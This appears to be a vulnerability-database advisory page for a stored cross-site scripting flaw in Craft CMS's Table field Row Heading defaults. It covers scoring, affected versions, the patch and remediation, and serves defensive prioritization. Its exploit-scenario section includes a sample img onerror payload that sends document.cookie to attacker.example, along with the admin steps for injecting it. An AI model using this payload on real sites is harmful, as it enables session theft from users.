Skip to main content

Craft CMS EUVDEUVD-2026-38177

| CVE-2026-56383 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-21 VulnCheck GHSA-5w9j-w5p8-r4p7
4.6
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker holds or compromises admin account
  2. Delivery
    Navigate to Settings
  3. Exploit
    Fields and configure Row Heading column type
  4. Install
    Inject XSS payload in Default Values with Static Rows enabled
  5. C2
    Victim browses page rendering the poisoned table field
  6. Execute
    Payload executes in victim's browser context
  7. Impact
    Exfiltrate session token or perform actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires two specific, documented prerequisites beyond network access. First, the attacker must hold a Craft CMS administrator account (PR:H per CVSS). Second, the allowAdminChanges configuration directive must be enabled in the target environment - a setting Craft CMS explicitly recommends disabling in production environments for security hardening; instances following this recommendation are not exploitable. Victim-side interaction is also required: a second user must navigate to a page that renders the affected table field containing the injected payload (UI:A in CVSS 4.0). Exploitation is scoped to Craft CMS 4.5.0-beta.1 through 4.16.18 and 5.0.0-RC1 through 5.8.22. Deployments running patched versions (4.16.19+, 5.8.23+) or those with allowAdminChanges=false in production are not exploitable.

Impact

The CVSS 4.0 score of 4.6 (Medium) with vector AV:N/AC:L/AT:N/PR:H/UI:A accurately captures the constrained attack surface: the PR:H metric reflects the full administrator account requirement, and UI:A reflects mandatory victim interaction - the victim must navigate to a page rendering the malicious table field. Real-world risk is further compressed because exploitation additionally requires allowAdminChanges to be enabled in production, a configuration Craft CMS explicitly flags as against its own security recommendations. No EPSS score was provided in the intelligence data, and the CVE is absent from the CISA KEV catalog, providing no signal of active exploitation. The notable risk factor is the scope change present in both the vendor CVSS 4.0 vector (SC:L/SI:L) and the CVSS 3.1 equivalent (S:C): a malicious or compromised admin can use this flaw to target lower-privileged users, potentially harvesting sessions or performing actions on their behalf. The attack is not automatable at scale due to high-privilege prerequisites, making this a targeted insider-threat or post-compromise lateral-movement scenario rather than a mass-exploitation risk.

Exploit ScenarioDerived

A malicious or compromised Craft CMS administrator navigates to Settings → Fields, creates or edits a Table field, adds a Row Heading column type, and enters a JavaScript payload such as <img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)"> in the Default Values section with Static Rows enabled. When a lower-privileged user - such as an editor or site visitor - subsequently views any page or profile that renders the poisoned table field, the injected script executes silently in their browser, enabling session token exfiltration or unauthorized actions on the victim's behalf. The GHSA advisory includes a working proof-of-concept payload, confirming exploitability without requiring additional research.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 22, 2026

Stored XSS in Craft CMS's Table field component allows an authenticated administrator to persist arbitrary JavaScript via the Row Heading column type's default values, executing in the browser of any subsequent user who views a page rendering the affected table field. Affected deployments span Craft CMS 4.5.0-beta.1 through 4.16.18 and 5.0.0-RC1 through 5.8.22; patches are available in 4.16.19 and 5.8.23. No public exploit code has been identified at time of analysis and the CVE is not listed in CISA KEV, though the GHSA advisory published a working proof-of-concept payload, and real-world risk is substantially constrained by the non-default allowAdminChanges production setting.

RemediationAI

Upgrade Craft CMS to version 4.16.19 (for 4.x installations) or 5.8.23 (for 5.x installations); the upstream fix is available at https://github.com/craftcms/cms/commit/7b372de262b8d9d2ce859f32780c3715719b6f5a, with the full advisory at https://github.com/craftcms/cms/security/advisories/GHSA-6j87-m5qx-9fqp. As a compensating control for deployments that cannot patch immediately, set allowAdminChanges to false in the production environment config - this eliminates the prerequisite for exploitation entirely, since the attacker cannot modify Table field definitions without this setting enabled; the trade-off is that all field and settings changes must be made in a non-production environment and deployed via config sync. Organizations should also audit administrator account membership, as reducing the number of accounts with full admin privileges directly limits the attack surface, regardless of patch status.

Affected VersionsENISA

CMS 5.0.0-RC1 <5.8.23
CMS 4.5.0-beta.1 <4.16.19

Affected Packages

composer craftcms/cms fix: 4.16.19, 5.8.23
euvd cms fix: 4.16.19, 5.8.23

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the editableTable.twig template and the Table.php field class within Craft CMS (CPE: cpe:2.3:a:craftcms:cms). CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause: the _normalizeCellValue() method applied Html::encode() to the 'heading' column type during data normalization, but this encoding did not carry through to the HTML rendering path in _getInputHtml(). As shown in the patch diff (commit 7b372de262b8d9d2ce859f32780c3715719b6f5a), the fix removes the encode call from normalization and adds a match expression in _getInputHtml() that explicitly encodes $row[$colId] only when the column type is 'heading', ensuring sanitization occurs at the point of output rather than at an earlier pipeline stage where it was ineffective for stored values rendered later.

Know when Cms gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 4.6 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 4.8 MEDIUM

Admin-only write access required (PR:H), victim must load the page (UI:R), and injected JavaScript executes in other users' browser contexts causing scope change (S:C).

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
Active
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Craft CMS contains a stored cross-site scripting (XSS) vulnerability in the editableTable.twig component when using the 'Row Heading' column type. The application fails to sanitize input within row heading default values, allowing an attacker with an administrator account (with allowAdminChanges enabled) to inject arbitrary JavaScript that executes when another user views a page containing the affected table field. Affected versions are >= 4.5.0-beta.1 through 4.16.18 and >= 5.0.0-RC1 through 5.8.22; fixed in 4.16.19 and 5.8.23.

Threat Intelligence Overview

EPSS Score
0.2%
Top 93% exploitable
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

23
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +23
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Cms

View all
CVE-2020-7357 CRITICAL POC
9.9 Aug 06

Cayin CMS suffers from an authenticated OS semi-blind command injection vulnerability using default credentials. Rated c

CVE-2012-4405 MEDIUM
6.8 Sep 18

Multiple integer underflows in the icmLut_allocate function in International Color Consortium (ICC) Format library (iccl

CVE-2021-47753 CRITICAL POC
9.8 Jan 15

phpKF CMS 3.00 Beta allows unauthenticated PHP file upload by disguising it as a PNG, then renaming it for execution. Po

CVE-2019-9874 CRITICAL POC
9.8 May 31

Deserialization of Untrusted Data in the Sitecore.Security.AntiCSRF (aka anti CSRF) module in Sitecore CMS 7.0 to 7.2 an

CVE-2019-9875 HIGH POC
8.8 May 31

Deserialization of Untrusted Data in the anti CSRF module in Sitecore through 9.1 allows an authenticated attacker to ex

CVE-2026-113358 HIGH POC
8.7 Oct 20

Unauthenticated file disclosure in LavaLite CMS through 10.1.2 allows remote attackers to download private stored files

CVE-2026-56382 HIGH POC
8.6 Jun 21

Authenticated remote code execution in Craft CMS versions 5.5.0 through 5.9.13 allows admin users to execute arbitrary P

CVE-2012-5894 HIGH POC
7.5 Nov 17

SQL injection vulnerability in hava_post.php in Havalite CMS 1.1.0 and earlier allows remote attackers to execute arbitr

CVE-2012-5893 MEDIUM POC
6.8 Nov 17

Unrestricted file upload vulnerability in hava_upload.php in Havalite CMS 1.1.0 and earlier allows remote attackers to e

CVE-2015-2083 MEDIUM POC
6.8 Feb 25

Cross-site request forgery (CSRF) vulnerability in Ilch CMS allows remote attackers to hijack the authentication of admi

CVE-2012-5919 MEDIUM POC
4.3 Nov 19

Multiple cross-site scripting (XSS) vulnerabilities in Havalite 1.0.4 and earlier allow remote attackers to inject arbit

CVE-2025-5429 MEDIUM POC
6.3 Jun 02

A security vulnerability in juzaweb CMS (CVSS 6.3). Risk factors: public PoC available.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy